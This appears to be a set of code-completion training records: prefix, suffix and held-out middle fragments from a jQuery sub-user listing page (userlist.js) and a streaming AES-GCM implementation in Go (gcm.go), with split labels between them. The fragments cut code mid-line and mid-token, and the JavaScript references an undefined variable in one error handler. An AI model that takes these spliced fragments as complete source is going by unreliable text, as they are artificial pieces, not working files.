+ new Date().getTime() + '&hisArr=' + hisArr.toString()
+ '&subUserId=' + userId + '&queryMap=' + queryMapFormat(
JSON.stringify(queryMap));
}
})
if ($.getUrlParam('hisArr') != null) {
hisArr = $.getUrlParam('hisArr').split(",");
}
if (isNotEmpty($.getUrlParam('queryMap'))) {
queryMap = JSON.parse(queryMapResotre($.getUrlParam('queryMap')));
}
$(function () {
| $('#startDatePicker').datepicker({el: 'startDate'}).children('#startDate');//.val(minusMonth(6));
$('#endDatePicker').datepicker({el: 'endDate'}).children('#endDate');//.val($.dateformat(new Date(), 'yyyy-MM-dd'));
//查询按钮
$('#queryBtn').on('click', function (e) {
$('#page').val(1);
$('#rows').val(10)
$('#subAccount').val(account);
queryMap = $('#queryForm').serializeObject();
loadData(queryMap, false);
});
//重置按钮
$('#resetBtn').on('click', function () {
$('#account').val(null);
$('#moneyFrom').val(null);
$('#moneyTo').val(null);
$('#startDatePicker').datepicker({el: 'startDate'}).children(
'#startDate').val("");//.val(minusMonth(6));
$('#endDatePicker').datepicker({el: 'endDate'}).children('#endDate').val(
"");//.val($.dateformat(new Date(), 'yyyy-MM-dd'));
$('#page').val(1);
$('#rows').val(10);
$('#subAccount').val(account);
loadData($('#queryForm').serializeObject(), false);
});
//第一次返回页面条件判断
if (hisArr.length == 0 && isEmpty(queryMap)) {
//加载数据
loadData($('#queryForm').serializeObject(), false);
} else {
if (hisArr.length == 1 && isNotEmpty(queryMap)) {//最后一次,带上查询条件
loadData(queryMap, true);
//回填查询条件
loadQuery(queryMap)
queryMap = {};
} else {
var lastAccount = hisArr.pop();
if (lastAccount) {
$("#subAccount").val(lastAccount);
}
loadData({subAccount: lastAccount}, true);
}
}
});
function loadData(objectArr, isSub) {
$.loading();
$.getJSON($.toFullPath('/api/dl/querySubUsers'), objectArr,
function (response) {
var items = response.data,
keys = ['account', 'type', 'addTime','online', 'loginTime', 'money',
'rebate', 'state', 'operations'],
currAccount = $('#subAccount').val(),
tbodyOptions = {
preHandler: function (item) {
var commonStr =
'<a href="javascript:void(0)" onclick="jQuery.openDetail(\''
+ item.userId + '\')">详情</a>' +
'<a href="javascript:void(0)" onclick="jQuery.openTeam(\''
+ item.userId + '\',\'' + item.account + '\')">团队总览</a>';
var rebateStr = rebateMode !== '1'
? '<a href="javascript:void(0)" onclick="jQuery.openRebate(\''
+ item.userId + '\')">返点设定</a>' : '';
var billStr =
'<a href="javascript:void(0)" onclick="jQuery.openBill(\''
+ item.userId + '\')">账变记录</a>';
//用户类型
if (item.type === 'HY') {
var isDl = item.isDl === true;
var isSelf = item.account === currAccount;
item.type = isDl ? '代理' : '会员';
item.operations = isSelf ? commonStr + billStr : commonStr + rebateStr + billStr;
if (!isSelf && isDl) {
item.account = '<a class="sub" href="javascript:void(0)">' + item.account + '</a>';
}
} else {
item.type = '试玩会员';
}
//状态
switch (item.state) {
case 0:
item.state = '待审核';
break;
case 1:
item.state = '启用';
break;
case 2:
item.state = '停用';
break;
default:
item.state = '';
break;
}
//返点级别
item.rebate = (item.rebate).toFixed(1) + '%';
//最后登录时间
if (item.daysWithoutLogin >= 1) {
item.loginTime = item.loginTime + '(' + item.daysWithoutLogin + '天前)';
}
//用户登录状态
if(item.online==true){
item.online='在线';
}else{
item.online='离线'
};
//余额
item.money = $.toFixed(item.money);
}
},
totalRecords = response.totalCount,
paginationOptions = {
pageNo: parseInt($('#page').val()),
pageSize: parseInt($('#rows').val()),
callback: function (pageNo) {
$('#page').val(pageNo);
loadData($('#queryForm').serializeObject(), true);
}
};
$('#table>tbody').renderTbody(items, keys, tbodyOptions);
$('#pagination').pagination(totalRecords, paginationOptions)
afterLoad(isSub);
$.loaded();
}).error(function () {
$('#table>tbody').renderEmptyTbody('加载失败', 12);
$('#pagination').pagination();
$.loaded();
});
}
function afterLoad(isSub) {
if (isSub == false) {
$("#subAccount").val(account);
hisArr = [];
}
//返回按钮事件
if (hisArr.length != 0) {
if ($('#backQuery').length <= 0) {
$('<span>  </span><button id="backQuery" type="button" class="btn btn-primary btn-sm m-b-xs">返回</button>').insertAfter(
$('#resetBtn'));
$('#backQuery').on('click', function () {
if (hisArr.length == 1 && isNotEmpty(queryMap)) {//最后一次,带上查询条件
loadData(queryMap, true);
loadQuery(queryMap)//回填查询条件
queryMap = {};
} else {
if (hisArr.length == 1 && isEmpty(queryMap)) {
reset();
} else {
var lastAccount = hisArr.pop()
$("#subAccount").val(lastAccount);
loadData({subAccount: lastAccount}, true);
}
}
});
}
} else {
$('#backQuery').remove();
}
$('.sub').on('click', function () {
hisArr.push($("#subAccount").val());//把上一次放入历史操作数组
var subAccount = $(this).text();
$("#subAccount").val(subAccount);
loadData({subAccount: subAccount}, true);
//点击下级 清空查询
cleanQueryForm();
});
}
function loadCurrAccount() {
var account;
$.ajax({
url: "/api/user/info",
dataType: 'json',
async: false,
cache: false,
success: function (response) {
$('#subAccount').val(response.userInfo.account);
account = response.userInfo.account;
}
}).error(function (XMLHttpRequest) {
var responseText = xhr.responseText;
try {
responseText = JSON.parse(responseText);
} catch (e) {
}
if (responseText.code === 'UC/TOKEN_INVALID') {
alert('网络连接超时,请重新登陆!');
$.cookie('token', null, {path: '/'});
window.location.href = '/views/main.html';
}
});
return account;
}
function cleanQueryForm() {
$('#account').val(null);
$('#moneyFrom').val(null);
$('#moneyTo').val(null);
$('#startDatePicker').datepicker({el: 'startDate'}).children(
'#startDate').val("");//.val(minusMonth(6));
$('#endDatePicker').datepicker({el: 'endDate'}).children('#endDate').val(
"");//.val($.dateformat(new Date(), 'yyyy-MM-dd'));
}
function reset() {
cleanQueryForm();
$('#page').val(1);
$('#rows').val(10);
$('#subAccount').val(account);
loadData($('#queryForm').serializeObject(), false);
}
function loadQuery(queryMap) {
$('#account').val(queryMap.account);
$('#moneyFrom').val(queryMap.moneyFrom);
$('#moneyTo').val(queryMap.moneyTo);
$('#startDate').val(queryMap.startDate);
$('#endDate').val(queryMap.endDate);
$('#page').val(queryMap.page);
$('#rows').val(queryMap.rows);
$('#subAccount').val(account);
}
function isEmpty(obj) {
for (var name in obj) {
return false;
}
return true;
};
function isNotEmpty(obj) {
for (var name in obj) {
return true;
}
return false;
};
function queryMapFormat(queryStr) {
return queryStr.replace("}", ']').replace("{", '[');
}
function queryMapResotre(queryStr) {
return queryStr.replace("]", '}').replace("[", '{');
}
function getProtocolPrefix() {
return (window.location.protocol || document.location.protocol) + '//';
}
function toFullPath(url) {
var protocol = getProtocolPrefix();
if (url.indexOf(protocol) === -1) {
return protocol + window.location.host + url;
}
return url;
}
//n个月以前
function minusMonth(n) {
var date = new Date();
date.setMonth(date.getMonth() - n);
var s = date.getFullYear().toString()
+ '-' + addzero(date.getMonth() + 1)
+ '-' + addzero(date.getDate() + 1);
return s;
}
//月份 日期 填充0
function addzero(v) {
if (v < 10) {
return '0' + v;
}
return v.toString();
}
})(jQuery); |
account = loadCurrAccount();//初始隐藏currAccount值
//设置默认查询时间 最近半年
| conditional_block |
userlist.js | (function ($) {
var hisArr = [];
var queryMap = {};
var account;
var rebateMode;
$.ajax({
url: $.toFullPath('/data/json/config.json'),
async: false,
dataType: 'json',
success: function (response) {
var systemConfig = response['system_config'];
for (var i = 0; i < systemConfig.length; i++) {
var config = systemConfig[i];
if (config.configKey === 'site_rebate_model') {
rebateMode = config.configValue;
}
}
},
error: function () {
rebateMode = '1';
}
});
$.extend({
openRebate: function (userId) {
hisArr.push($("#subAccount").val());//把上一次放入历史操作数组
window.location.href = '/page/user-center/agent/rebate-setting.html?'
+ new Date().getTime() + '&hisArr=' + hisArr.toString()
+ '&subUserId=' + userId + '&queryMap=' + queryMapFormat(
JSON.stringify(queryMap));
},
openTeam: function (userId, account) {
hisArr.push($("#subAccount").val());//把上一次放入历史操作数组
window.location.href = '/page/user-center/agent/team-overviews.html?'
+ new Date().getTime() + '&hisArr=' + hisArr.toString()
+ '&subUserId=' + userId + '&account=' + account + '&queryMap='
+ queryMapFormat(JSON.stringify(queryMap));
},
openDetail: function (userId) {
hisArr.push($("#subAccount").val());//把上一次放入历史操作数组
window.location.href = '/page/user-center/agent/sub-detail.html?'
+ new Date().getTime() + '&hisArr=' + hisArr.toString()
+ '&subUserId=' + userId + '&queryMap=' + queryMapFormat(
JSON.stringify(queryMap));
},
openBill: function (userId) {
hisArr.push($("#subAccount").val());//把上一次放入历史操作数组
window.location.href = '/page/user-center/report/bill_report.html?'
+ new Date().getTime() + '&hisArr=' + hisArr.toString()
+ '&subUserId=' + userId + '&queryMap=' + queryMapFormat(
JSON.stringify(queryMap));
}
})
if ($.getUrlParam('hisArr') != null) {
hisArr = $.getUrlParam('hisArr').split(",");
}
if (isNotEmpty($.getUrlParam('queryMap'))) {
queryMap = JSON.parse(queryMapResotre($.getUrlParam('queryMap')));
}
$(function () {
account = loadCurrAccount();//初始隐藏currAccount值
//设置默认查询时间 最近半年
$('#startDatePicker').datepicker({el: 'startDate'}).children('#startDate');//.val(minusMonth(6));
$('#endDatePicker').datepicker({el: 'endDate'}).children('#endDate');//.val($.dateformat(new Date(), 'yyyy-MM-dd'));
//查询按钮
$('#queryBtn').on('click', function (e) {
$('#page').val(1);
$('#rows').val(10)
$('#subAccount').val(account);
queryMap = $('#queryForm').serializeObject();
loadData(queryMap, false);
});
//重置按钮
$('#resetBtn').on('click', function () {
$('#account').val(null);
$('#moneyFrom').val(null);
$('#moneyTo').val(null);
$('#startDatePicker').datepicker({el: 'startDate'}).children(
'#startDate').val("");//.val(minusMonth(6));
$('#endDatePicker').datepicker({el: 'endDate'}).children('#endDate').val(
"");//.val($.dateformat(new Date(), 'yyyy-MM-dd'));
$('#page').val(1);
$('#rows').val(10);
$('#subAccount').val(account);
loadData($('#queryForm').serializeObject(), false);
});
//第一次返回页面条件判断
if (hisArr.length == 0 && isEmpty(queryMap)) {
//加载数据
loadData($('#queryForm').serializeObject(), false);
} else {
if (hisArr.length == 1 && isNotEmpty(queryMap)) {//最后一次,带上查询条件
loadData(queryMap, true);
//回填查询条件
loadQuery(queryMap)
queryMap = {};
} else {
var lastAccount = hisArr.pop();
if (lastAccount) {
$("#subAccount").val(lastAccount);
}
loadData({subAccount: lastAccount}, true);
}
}
});
function loadData(objectArr, isSub) {
$.loading();
$.getJSON($.toFullPath('/api/dl/querySubUsers'), objectArr,
function (response) {
var items = response.data,
keys = ['account', 'type', 'addTime','online', 'loginTime', 'money',
'rebate', 'state', 'operations'],
currAccount = $('#subAccount').val(),
tbodyOptions = {
preHandler: function (item) {
var commonStr =
'<a href="javascript:void(0)" onclick="jQuery.openDetail(\''
+ item.userId + '\')">详情</a>' +
'<a href="javascript:void(0)" onclick="jQuery.openTeam(\''
+ item.userId + '\',\'' + item.account + '\')">团队总览</a>';
var rebateStr = rebateMode !== '1'
? '<a href="javascript:void(0)" onclick="jQuery.openRebate(\''
+ item.userId + '\')">返点设定</a>' : '';
var billStr =
'<a href="javascript:void(0)" onclick="jQuery.openBill(\''
+ item.userId + '\')">账变记录</a>';
//用户类型
if (item.type === 'HY') {
var isDl = item.isDl === true;
var isSelf = item.account === currAccount;
item.type = isDl ? '代理' : '会员';
item.operations = isSelf ? commonStr + billStr : commonStr + rebateStr + billStr;
if (!isSelf && isDl) {
item.account = '<a class="sub" href="javascript:void(0)">' + item.account + '</a>';
}
} else {
item.type = '试玩会员';
}
//状态
switch (item.state) {
case 0:
item.state = '待审核';
break;
case 1:
item.state = '启用';
break;
case 2:
item.state = '停用';
break;
default:
item.state = '';
break;
}
//返点级别
item.rebate = (item.rebate).toFixed(1) + '%';
//最后登录时间
if (item.daysWithoutLogin >= 1) {
item.loginTime = item.loginTime + '(' + item.daysWithoutLogin + '天前)';
}
//用户登录状态
if(item.online==true){
item.online='在线';
}else{
item.online='离线'
};
//余额
item.money = $.toFixed(item.money);
}
},
totalRecords = response.totalCount,
paginationOptions = {
pageNo: parseInt($('#page').val()),
pageSize: parseInt($('#rows').val()),
callback: function (pageNo) {
$('#page').val(pageNo);
loadData($('#queryForm').serializeObject(), true);
}
};
$('#table>tbody').renderTbody(items, keys, tbodyOptions);
$('#pagination').pagination(totalRecords, paginationOptions)
afterLoad(isSub);
$.loaded();
}).error(function () {
$('#table>tbody').renderEmptyTbody('加载失败', 12);
$('#pagination').pagination();
$.loaded();
});
}
function afterLoad(isSub) {
if (isSub == false) {
$("#subAccount").val(account);
hisArr = [];
}
//返回按钮事件
if (hisArr.length != 0) {
if ($('#backQuery').length <= 0) {
$('<span>  </span><button id="backQuery" type="button" class="btn btn-primary btn-sm m-b-xs">返回</button>').insertAfter(
$('#resetBtn'));
$('#backQuery').on('click', function () {
if (hisArr.length == 1 && isNotEmpty(queryMap)) {//最后一次,带上查询条件
loadData(queryMap, true);
loadQuery(queryMap)//回填查询条件
queryMap = {};
} else {
if (hisArr.length == 1 && isEmpty(queryMap)) {
reset();
} else {
var lastAccount = hisArr.pop()
$("#subAccount").val(lastAccount);
loadData({subAccount: lastAccount}, true);
}
}
});
}
} else {
$('#backQuery').remove();
}
$('.sub').on('click', function () {
hisArr.push($("#subAccount").val());//把上一次放入历史操作数组
var subAccount = $(this).text();
$("#subAccount").val(subAccount);
loadData({subAccount: subAccount}, true);
//点击下级 清空查询
cleanQueryForm();
});
}
function loadCurrAccount() {
var account;
$.ajax({
url: "/api/user/info",
dataType: 'json',
async: false,
cache: false,
success: function (response) {
$('#subAccount').val(response.userInfo.account);
account = response.userInfo.account;
}
}).error(function (XMLHttpRequest) {
var responseText = xhr.responseText;
try {
responseText = JSON.parse(responseText);
} catch (e) {
}
if (responseText.code === 'UC/TOKEN_INVALID') {
alert('网络连接超时,请重新登陆!');
$.cookie('token', null, {path: '/'});
window.location.href = '/views/main.html';
}
});
return account;
}
function cleanQueryForm() {
$('#account').val(null);
$('#moneyFrom').val(null);
$('#moneyTo').val(null);
$('#startDatePicker').datepicker({el: 'startDate'}).children(
'#startDate').val("");//.val(minusMonth(6));
$('#endDatePicker').datepicker({el: 'endDate'}).children('#endDate').val(
"");//.val($.dateformat(new Date(), 'yyyy-MM-dd'));
}
function reset() {
cleanQueryForm();
$('#page').val(1);
$('#rows').val(10);
$('#subAccount').val(account);
loadData($('#queryForm').serializeObject(), false);
}
function loadQuery(queryMap) {
$('#account').val(queryMap.account);
$('#moneyFrom').val(queryMap.moneyFrom);
$('#moneyTo').val(queryMap.moneyTo);
$('#startDate').val(queryMap.startDate);
$('#endDate').val(queryMap.endDate);
$('#page').val(queryMap.page);
$('#rows').val(queryMap.rows);
$('#subAccount').val(account);
}
function isEmpty(obj) {
for (var name in obj) {
return false;
}
return true;
};
function isNotEmpty(obj) {
for (var name in obj) {
return true;
} |
function queryMapFormat(queryStr) {
return queryStr.replace("}", ']').replace("{", '[');
}
function queryMapResotre(queryStr) {
return queryStr.replace("]", '}').replace("[", '{');
}
function getProtocolPrefix() {
return (window.location.protocol || document.location.protocol) + '//';
}
function toFullPath(url) {
var protocol = getProtocolPrefix();
if (url.indexOf(protocol) === -1) {
return protocol + window.location.host + url;
}
return url;
}
//n个月以前
function minusMonth(n) {
var date = new Date();
date.setMonth(date.getMonth() - n);
var s = date.getFullYear().toString()
+ '-' + addzero(date.getMonth() + 1)
+ '-' + addzero(date.getDate() + 1);
return s;
}
//月份 日期 填充0
function addzero(v) {
if (v < 10) {
return '0' + v;
}
return v.toString();
}
})(jQuery); | return false;
}; | random_line_split |
gcm.go | // Original file obtained from https://raw.githubusercontent.com/golang/go/4e8badbbc2fe7854bb1c12a9ee42315b4d535051/src/crypto/cipher/gcm.go
//
// Copyright 2013 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package ubiq
import (
goCipher "crypto/cipher"
"crypto/subtle"
"encoding/binary"
"errors"
)
// AEAD is a cipher mode providing authenticated encryption with associated
// data. For a description of the methodology, see
//
// https://en.wikipedia.org/wiki/Authenticated_encryption
type aeadIf interface {
// NonceSize returns the size of the nonce that must be passed to Seal
// and Open.
NonceSize() int
// Overhead returns the maximum difference between the lengths of a
// plaintext and its ciphertext.
Overhead() int
Begin(nonce, data []byte)
EncryptUpdate(plaintext []byte) []byte
EncryptEnd() ([]byte, []byte)
DecryptUpdate(ciphertext []byte) []byte
DecryptEnd(expectedTag []byte) ([]byte, bool)
}
// gcmFieldElement represents a value in GF(2¹²⁸). In order to reflect the GCM
// standard and make binary.BigEndian suitable for marshaling these values, the
// bits are stored in big endian order. For example:
//
// the coefficient of x⁰ can be obtained by v.low >> 63.
// the coefficient of x⁶³ can be obtained by v.low & 1.
// the coefficient of x⁶⁴ can be obtained by v.high >> 63.
// the coefficient of x¹²⁷ can be obtained by v.high & 1.
type gcmFieldElement struct {
low, high uint64
}
// gcm represents a Galois Counter Mode with a specific key. See
// https://csrc.nist.gov/groups/ST/toolkit/BCM/documents/proposedmodes/gcm/gcm-revised-spec.pdf
type gcm struct {
cipher goCipher.Block
nonceSize int
tagSize int
// productTable contains the first sixteen powers of the key, H.
// However, they are in bit reversed order. See NewGCMWithNonceSize.
productTable [16]gcmFieldElement
tagaccum gcmFieldElement
counter, tagmask [gcmBlockSize]byte
block []byte
len struct {
aad, ct int
}
}
// NewGCM returns the given 128-bit, block cipher wrapped in Galois Counter Mode
// with the standard nonce length.
//
// In general, the GHASH operation performed by this implementation of GCM is not constant-time.
// An exception is when the underlying Block was created by aes.NewCipher
// on systems with hardware support for AES. See the crypto/aes package documentation for details.
func newGCM(cipher goCipher.Block) (aeadIf, error) {
return newGCMWithNonceAndTagSize(cipher, gcmStandardNonceSize, gcmTagSize)
}
// NewGCMWithNonceSize returns the given 128-bit, block cipher wrapped in Galois
// Counter Mode, which accepts nonces of the given length. The length must not
// be zero.
//
// Only use this function if you require compatibility with an existing
// cryptosystem that uses non-standard nonce lengths. All other users should use
// NewGCM, which is faster and more resistant to misuse.
func newGCMWithNonceSize(cipher goCipher.Block, size int) (aeadIf, error) {
return newGCMWithNonceAndTagSize(cipher, size, gcmTagSize)
}
// NewGCMWithTagSize returns the given 128-bit, block cipher wrapped in Galois
// Counter Mode, which generates tags with the given length.
//
// Tag sizes between 12 and 16 bytes are allowed.
//
// Only use this function if you require compatibility with an existing
// cryptosystem that uses non-standard tag lengths. All other users should use
// NewGCM, which is more resistant to misuse.
func newGCMWithTagSize(cipher goCipher.Block, tagSize int) (aeadIf, error) {
return newGCMWithNonceAndTagSize(cipher, gcmStandardNonceSize, tagSize)
}
func newGCMWithNonceAndTagSize(cipher goCipher.Block, nonceSize, tagSize int) (aeadIf, error) {
if tagSize < gcmMinimumTagSize || tagSize > gcmBlockSize {
return nil, errors.New("cipher: incorrect tag size given to GCM")
}
if nonceSize <= 0 {
return nil, errors.New("cipher: the nonce can't have zero length, or the security of the key will be immediately compromised")
}
if cipher.BlockSize() != gcmBlockSize {
return nil, errors.New("cipher: NewGCM requires 128-bit block cipher")
}
var key [gcmBlockSize]byte
cipher.Encrypt(key[:], key[:])
g := &gcm{cipher: cipher, nonceSize: nonceSize, tagSize: tagSize}
// We precompute 16 multiples of |key|. However, when we do lookups
// into this table we'll be using bits from a field element and
// therefore the bits will be in the reverse order. So normally one
// would expect, say, 4*key to be in index 4 of the table but due to
// this bit ordering it will actually be in index 0010 (base 2) = 2.
x := gcmFieldElement{
binary.BigEndian.Uint64(key[:8]),
binary.BigEndian.Uint64(key[8:]),
}
g.productTable[reverseBits(1)] = x
for i := 2; i < 16; i += 2 {
g.productTable[reverseBits(i)] = gcmDouble(&g.productTable[reverseBits(i/2)])
g.productTable[reverseBits(i+1)] = gcmAdd(&g.productTable[reverseBits(i)], &x)
}
return g, nil
}
const (
gcmBlockSize = 16
gcmTagSize = 16
gcmMinimumTagSize = 12 // NIST SP 800-38D recommends tags with 12 or more bytes.
gcmStandardNonceSize = 12
)
func (g *gcm) NonceSize() int {
return g.nonceSize
}
func (g *gcm) Overhead() int {
return g.tagSize
}
func (g *gcm) Begin(nonce, aad []byte) {
if len(nonce) != g.nonceSize {
panic("crypto/cipher: incorrect nonce length given to GCM")
}
// Sanity check
if g.tagSize < gcmMinimumTagSize {
panic("crypto/cipher: incorrect GCM tag size")
}
g.deriveCounter(&g.counter, nonce)
g.cipher.Encrypt(g.tagmask[:], g.counter[:])
gcmInc32(&g.counter)
g.update(&g.tagaccum, aad)
g.len.aad = len(aad)
}
func (g *gcm) EncryptUpdate(plaintext []byte) []byte {
plaintext = append(g.block, plaintext...)
length := len(plaintext) - len(plaintext)%gcmBlockSize
g.block = plaintext[length:]
plaintext = plaintext[:length]
ciphertext := make([]byte, len(plaintext))
g.counterCrypt(ciphertext, plaintext, &g.counter)
g.len.ct += len(ciphertext)
g.update(&g.tagaccum, ciphertext)
if uint64(g.len.ct) > ((1<<32)-2)*uint64(g.cipher.BlockSize()) {
panic("crypto/cipher: message too large for GCM")
}
return ciphertext
}
func (g *gcm) EncryptEnd() ([]b | e) {
ciphertext := make([]byte, len(g.block))
g.counterCrypt(ciphertext, g.block, &g.counter)
g.block = nil
g.counter = [gcmBlockSize]byte{}
g.len.ct += len(ciphertext)
g.update(&g.tagaccum, ciphertext)
tag := make([]byte, g.tagSize)
g.authFinal(tag, g.tagaccum, g.len.aad, g.len.ct, &g.tagmask)
g.tagmask = [gcmBlockSize]byte{}
g.tagaccum = gcmFieldElement{}
g.len.aad = 0
g.len.ct = 0
return ciphertext, tag
}
func (g *gcm) DecryptUpdate(ciphertext []byte) []byte {
ciphertext = append(g.block, ciphertext...)
length := len(ciphertext) - len(ciphertext)%gcmBlockSize
g.block = ciphertext[length:]
ciphertext = ciphertext[:length]
plaintext := make([]byte, len(ciphertext))
g.len.ct += len(ciphertext)
g.update(&g.tagaccum, ciphertext)
g.counterCrypt(plaintext, ciphertext, &g.counter)
return plaintext
}
func (g *gcm) DecryptEnd(expectedTag []byte) ([]byte, bool) {
if len(expectedTag) != g.tagSize {
panic("crypto/cipher: incorrect GCM tag size")
}
plaintext := make([]byte, len(g.block))
g.len.ct += len(g.block)
g.update(&g.tagaccum, g.block)
g.counterCrypt(plaintext, g.block, &g.counter)
g.block = nil
g.counter = [gcmBlockSize]byte{}
tag := make([]byte, g.tagSize)
g.authFinal(tag, g.tagaccum, g.len.aad, g.len.ct, &g.tagmask)
g.tagmask = [gcmBlockSize]byte{}
g.tagaccum = gcmFieldElement{}
g.len.aad = 0
g.len.ct = 0
return plaintext, subtle.ConstantTimeCompare(tag, expectedTag) == 1
}
// reverseBits reverses the order of the bits of 4-bit number in i.
func reverseBits(i int) int {
i = ((i << 2) & 0xc) | ((i >> 2) & 0x3)
i = ((i << 1) & 0xa) | ((i >> 1) & 0x5)
return i
}
// gcmAdd adds two elements of GF(2¹²⁸) and returns the sum.
func gcmAdd(x, y *gcmFieldElement) gcmFieldElement {
// Addition in a characteristic 2 field is just XOR.
return gcmFieldElement{x.low ^ y.low, x.high ^ y.high}
}
// gcmDouble returns the result of doubling an element of GF(2¹²⁸).
func gcmDouble(x *gcmFieldElement) (double gcmFieldElement) {
msbSet := x.high&1 == 1
// Because of the bit-ordering, doubling is actually a right shift.
double.high = x.high >> 1
double.high |= x.low << 63
double.low = x.low >> 1
// If the most-significant bit was set before shifting then it,
// conceptually, becomes a term of x^128. This is greater than the
// irreducible polynomial so the result has to be reduced. The
// irreducible polynomial is 1+x+x^2+x^7+x^128. We can subtract that to
// eliminate the term at x^128 which also means subtracting the other
// four terms. In characteristic 2 fields, subtraction == addition ==
// XOR.
if msbSet {
double.low ^= 0xe100000000000000
}
return
}
var gcmReductionTable = []uint16{
0x0000, 0x1c20, 0x3840, 0x2460, 0x7080, 0x6ca0, 0x48c0, 0x54e0,
0xe100, 0xfd20, 0xd940, 0xc560, 0x9180, 0x8da0, 0xa9c0, 0xb5e0,
}
// mul sets y to y*H, where H is the GCM key, fixed during NewGCMWithNonceSize.
func (g *gcm) mul(y *gcmFieldElement) {
var z gcmFieldElement
for i := 0; i < 2; i++ {
word := y.high
if i == 1 {
word = y.low
}
// Multiplication works by multiplying z by 16 and adding in
// one of the precomputed multiples of H.
for j := 0; j < 64; j += 4 {
msw := z.high & 0xf
z.high >>= 4
z.high |= z.low << 60
z.low >>= 4
z.low ^= uint64(gcmReductionTable[msw]) << 48
// the values in |table| are ordered for
// little-endian bit positions. See the comment
// in NewGCMWithNonceSize.
t := &g.productTable[word&0xf]
z.low ^= t.low
z.high ^= t.high
word >>= 4
}
}
*y = z
}
// updateBlocks extends y with more polynomial terms from blocks, based on
// Horner's rule. There must be a multiple of gcmBlockSize bytes in blocks.
func (g *gcm) updateBlocks(y *gcmFieldElement, blocks []byte) {
for len(blocks) > 0 {
y.low ^= binary.BigEndian.Uint64(blocks)
y.high ^= binary.BigEndian.Uint64(blocks[8:])
g.mul(y)
blocks = blocks[gcmBlockSize:]
}
}
// update extends y with more polynomial terms from data. If data is not a
// multiple of gcmBlockSize bytes long then the remainder is zero padded.
func (g *gcm) update(y *gcmFieldElement, data []byte) {
fullBlocks := (len(data) >> 4) << 4
g.updateBlocks(y, data[:fullBlocks])
if len(data) != fullBlocks {
var partialBlock [gcmBlockSize]byte
copy(partialBlock[:], data[fullBlocks:])
g.updateBlocks(y, partialBlock[:])
}
}
// gcmInc32 treats the final four bytes of counterBlock as a big-endian value
// and increments it.
func gcmInc32(counterBlock *[16]byte) {
ctr := counterBlock[len(counterBlock)-4:]
binary.BigEndian.PutUint32(ctr, binary.BigEndian.Uint32(ctr)+1)
}
// counterCrypt crypts in to out using g.cipher in counter mode.
func (g *gcm) counterCrypt(out, in []byte, counter *[gcmBlockSize]byte) {
var mask [gcmBlockSize]byte
for len(in) >= gcmBlockSize {
g.cipher.Encrypt(mask[:], counter[:])
gcmInc32(counter)
xorWords(out, in, mask[:])
out = out[gcmBlockSize:]
in = in[gcmBlockSize:]
}
if len(in) > 0 {
g.cipher.Encrypt(mask[:], counter[:])
gcmInc32(counter)
xorBytes(out, in, mask[:])
}
}
// deriveCounter computes the initial GCM counter state from the given nonce.
// See NIST SP 800-38D, section 7.1. This assumes that counter is filled with
// zeros on entry.
func (g *gcm) deriveCounter(counter *[gcmBlockSize]byte, nonce []byte) {
// GCM has two modes of operation with respect to the initial counter
// state: a "fast path" for 96-bit (12-byte) nonces, and a "slow path"
// for nonces of other lengths. For a 96-bit nonce, the nonce, along
// with a four-byte big-endian counter starting at one, is used
// directly as the starting counter. For other nonce sizes, the counter
// is computed by passing it through the GHASH function.
if len(nonce) == gcmStandardNonceSize {
copy(counter[:], nonce)
counter[gcmBlockSize-1] = 1
} else {
var y gcmFieldElement
g.update(&y, nonce)
y.high ^= uint64(len(nonce)) * 8
g.mul(&y)
binary.BigEndian.PutUint64(counter[:8], y.low)
binary.BigEndian.PutUint64(counter[8:], y.high)
}
}
// auth calculates GHASH(ciphertext, additionalData), masks the result with
// tagMask and writes the result to out.
func (g *gcm) auth(out, ciphertext, additionalData []byte, tagMask *[gcmTagSize]byte) {
var y gcmFieldElement
g.update(&y, additionalData)
g.update(&y, ciphertext)
g.authFinal(out, y, len(additionalData), len(ciphertext), tagMask)
}
func (g *gcm) authFinal(out []byte, y gcmFieldElement, aadlen, ctlen int, tagMask *[gcmTagSize]byte) {
y.low ^= uint64(aadlen) * 8
y.high ^= uint64(ctlen) * 8
g.mul(&y)
binary.BigEndian.PutUint64(out, y.low)
binary.BigEndian.PutUint64(out[8:], y.high)
xorWords(out, out, tagMask[:])
}
// these come from xor_amd64.go. that file replaces the for loop
// below with a call to xorBytesSSE2. it's not clear to me how to
// take advantage of that call in portable kind of way
// xorBytes xors the bytes in a and b. The destination should have enough
// space, otherwise xorBytes will panic. Returns the number of bytes xor'd.
func xorBytes(dst, a, b []byte) int {
n := len(a)
if len(b) < n {
n = len(b)
}
if n == 0 {
return 0
}
_ = dst[n-1]
for i := 0; i < n; i++ {
dst[i] = a[i] ^ b[i]
}
return n
}
func xorWords(dst, a, b []byte) {
xorBytes(dst, a, b)
}
| yte, []byt | identifier_name |
gcm.go | // Original file obtained from https://raw.githubusercontent.com/golang/go/4e8badbbc2fe7854bb1c12a9ee42315b4d535051/src/crypto/cipher/gcm.go
//
// Copyright 2013 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package ubiq
import (
goCipher "crypto/cipher"
"crypto/subtle"
"encoding/binary"
"errors"
)
// AEAD is a cipher mode providing authenticated encryption with associated
// data. For a description of the methodology, see
//
// https://en.wikipedia.org/wiki/Authenticated_encryption
type aeadIf interface {
// NonceSize returns the size of the nonce that must be passed to Seal
// and Open.
NonceSize() int
// Overhead returns the maximum difference between the lengths of a
// plaintext and its ciphertext.
Overhead() int
Begin(nonce, data []byte)
EncryptUpdate(plaintext []byte) []byte
EncryptEnd() ([]byte, []byte)
DecryptUpdate(ciphertext []byte) []byte
DecryptEnd(expectedTag []byte) ([]byte, bool)
}
// gcmFieldElement represents a value in GF(2¹²⁸). In order to reflect the GCM
// standard and make binary.BigEndian suitable for marshaling these values, the
// bits are stored in big endian order. For example:
//
// the coefficient of x⁰ can be obtained by v.low >> 63.
// the coefficient of x⁶³ can be obtained by v.low & 1.
// the coefficient of x⁶⁴ can be obtained by v.high >> 63.
// the coefficient of x¹²⁷ can be obtained by v.high & 1.
type gcmFieldElement struct {
low, high uint64
}
// gcm represents a Galois Counter Mode with a specific key. See
// https://csrc.nist.gov/groups/ST/toolkit/BCM/documents/proposedmodes/gcm/gcm-revised-spec.pdf
type gcm struct {
cipher goCipher.Block
nonceSize int
tagSize int
// productTable contains the first sixteen powers of the key, H.
// However, they are in bit reversed order. See NewGCMWithNonceSize.
productTable [16]gcmFieldElement
tagaccum gcmFieldElement
counter, tagmask [gcmBlockSize]byte
block []byte
len struct {
aad, ct int
}
}
